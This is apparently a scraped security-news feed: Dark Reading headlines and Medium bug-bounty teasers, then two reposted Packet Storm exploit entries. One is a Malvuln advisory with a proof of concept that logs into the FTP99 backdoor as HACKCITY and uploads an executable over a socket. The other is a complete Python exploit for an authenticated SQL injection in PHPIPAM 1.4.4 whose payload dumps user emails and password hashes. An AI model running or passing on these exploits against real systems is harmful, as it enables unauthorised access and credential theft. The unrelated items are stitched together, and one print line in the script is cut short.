Dark Reading: Attacks/Breaches
Tales from the Dark Web, Part 2: Ransomware Stacked With Distribution Services Creates the Perfect Storm

Security professionals need to understand the actors behind ransomware threats, how they operate and how they continuously find new victims to target

Dark Reading: Attacks/Breaches
Test Your Team, Not Just Your Disaster Recovery Plan

Cyberattacks imperil business continuity, but there is a much more common security threat — unintentional human error.

Dark Reading: Attacks/Breaches
Cyber-Physical Security: What It Is and What You Should Do

Ancillary installations like the Internet of Things, operational technology, and industrial control systems enable lots of great functionality, and they face most of the same risks as IT infrastructure.

Dark Reading: Attacks/Breaches
4 Steps Toward Knowing Your Exploitable Attack Surface

Actionable steps you can take today to identify the true risk your organization faces — learn how to separate the exploitable vulnerabilities from the rest.

I found a way to extract passwords from any iOS device. When I reported it to Apple? Silence.
https://medium.com/@ConnorFord1/i-found-a-way-to-extract-passwords-from-any-ios-device-when-i-reported-it-to-apple-silence-a027b12b7013?source=rss------bug_bounty-5

Apple’s Bug Bounty program, in theory, incentivizes programmers to report flaws they find in the company’s code. In practice? Not so much.Continue reading on Medium » (https://medium.com/@ConnorFord1/i-found-a-way-to-extract-passwords-from-any-ios-device-when-i-reported-it-to-apple-silence-a027b12b7013?source=rss------bug_bounty-5)

I found a way to extract passwords from any iOS device. When I reported it to Apple? Silence.

Apple’s Bug Bounty program, in theory, incentivizes programmers to report flaws they find in the company’s code. In practice? Not so much.Continue reading on Medium »
Read more...

Ensuring protocol security with Immunefi bug bounty program

Calling all devs and hackers. Help enhance our smart contract security and prevent thefts, freezes, and unintended changes and earn.Continue reading on Medium »
Read more...

Exploit Collector
Backdoor.Win32.FTP99 Authentication Bypass

https://1.bp.blogspot.com/-ju6c7E-5MWk/WWlvdc1QT-I/AAAAAAAAIPk/ByEXv5vo16UsrlpTJMmF2Op4hfJEgrRpQCLcBGAs/s1600/h79.png
Backdoor.Win32.FTP99 malware suffers from an authentication bypass vulnerability.

MD5 | 1e88fdedfe58e2a0eb8b026d597d1e0a

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/09dd14d3988e08a56798b1480c55a5b0.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.FTP99
Vulnerability: Authentication Bypass Race Condition
Description: The malware listens on TCP port 1492. Credentials are stored in cleartext in "Serv-u.ini" file under "C:\Program Files (x86)\My Paquet archive" with a blank password. Third-party attackers who can reach the system before a password has been set can logon by just supplying the username "HACKCITY".

"Serv-u.ini"

[USER=hackcity]
Password=
HomeDir=c:\
AlwaysAllowLogin=YES

Type: PE32
MD5: 09dd14d3988e08a56798b1480c55a5b0
Vuln ID: MVID-2022-0465
Dropped files: Windll16.exe
Disclosure: 01/24/2022

Exploit/PoC:
telnet.exe x.x.x.x 1492
220-Serv-U FTP-Server v2.3b for WinSock ready...
220 0wn3d
230 User HACKCITY logged in
HELP
214- The following commands are recognized (* => unimplemented).
USER PORT RETR ALLO DELE SITE XMKD CDUP
PASS PASV STOR REST CWD STAT RMD XCUP
ACCT TYPE APPE RNFR XCWD HELP XRMD STOU
REIN STRU SMNT RNTO LIST NOOP PWD SIZE
QUIT MODE SYST ABOR NLST MKD XPWD MDTM
214 Serv-U, registered to: Data Case
SYST
215 UNIX Type: L8
PASV
227 Entering Passive Mode (192,168,18,129,206,190)
STOR DOOM.exe
150 Opening ASCII mode data connection for DOOM.exe.
STOR DOOM.exe
226 Transfer complete - file DOOM.exe received successfully
from socket import *

MALWARE_HOST="192.168.18.129"
PORT=52926
DOOM="DOOM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("By Malvuln");

if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
PHPIPAM 1.4.4 SQL Injection

https://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png
PHPIPAM version 1.4.4 suffers from an authenticated remote SQL injection vulnerability.

MD5 | 4b8d5d6218feb96b1ddd63205a5b1750

Download
# Exploit Title: PHPIPAM 1.4.4 - SQLi (Authenticated)
# Google Dork: [if applicable]
# Date: 20/01/2022
# Exploit Author: Rodolfo "Inc0gbyt3" Tavares
# Vendor Homepage: https://github.com/phpipam/phpipam
# Software Link: https://github.com/phpipam/phpipam
# Version: 1.4.4
# Tested on: Linux/Windows
# CVE : CVE-2022-23046

import requests
import sys
import argparse

################
"""
Author of exploit: Rodolfo 'Inc0gbyt3' Tavares
CVE: CVE-2022-23046
Type: SQL Injection

Usage:

$ python3 -m pip install requests
$ python3 exploit.py -u http://localhost:8082 -U <admin-P <password
"""
###############

__author__ = "Inc0gbyt3"

menu = argparse.ArgumentParser(description="[+] Exploit for PHPIPAM Version: 1.4.4 Authenticated SQL Injection\n CVE-2022-23046")
menu.add_argument("-u", "--url", help="[+] URL of target, example: https://phpipam.target.com", type=str)
menu.add_argument("-U", "--user", help="[+] Username", type=str)
menu.add_argument("-P", "--password", help="[+] Password", type=str)
args = menu.parse_args()

if len(sys.argv) < 3:
menu.print_help()

target = args.url
user = args.user
password = args.password
def get_token():
u = f"{target}/app/login/login_check.php"

try:
r = requests.post(u, verify=False, timeout=10, headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}, data={"ipamusername":user, "ipampassword":password})
headers = r.headers['Set-Cookie']
headers_string = headers.split(';')
for s in headers_string:
if "phpipam" in s and "," in s: # double same cookie Check LoL
cookie = s.strip(',').lstrip()
return cookie
except Exception as e:
print(f"[+] {e}")
def exploit_sqli():
cookie = get_token()
xpl = f"{target}/app/admin/routing/edit-bgp-mapping-search.php"
data = {
"subnet":'pwn"union select(select concat(@:=0x3a,(select+count(*) from(users)where(@:=concat(@,email,0x3a,password,"0x3a",2fa))),@)),2,3,user() -- -', # dios query dump all :)
"bgp_id":1
}

headers = {
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Cookie": cookie
}

try:
r = requests.post(xpl, verify=False, timeout=10, headers=headers, data=data)
if "admin" in r.text or "rounds" in r.text:
print("[+] Vulnerable..\n\n")
print(f"> Users and hash passwords: \n\n{r.text}")
print("\n\n> DONE
except Exception as e:
print(f"[-] {e}")
if __name__ == '__main__':
exploit_sqli()


Source:packetstormsecurity.com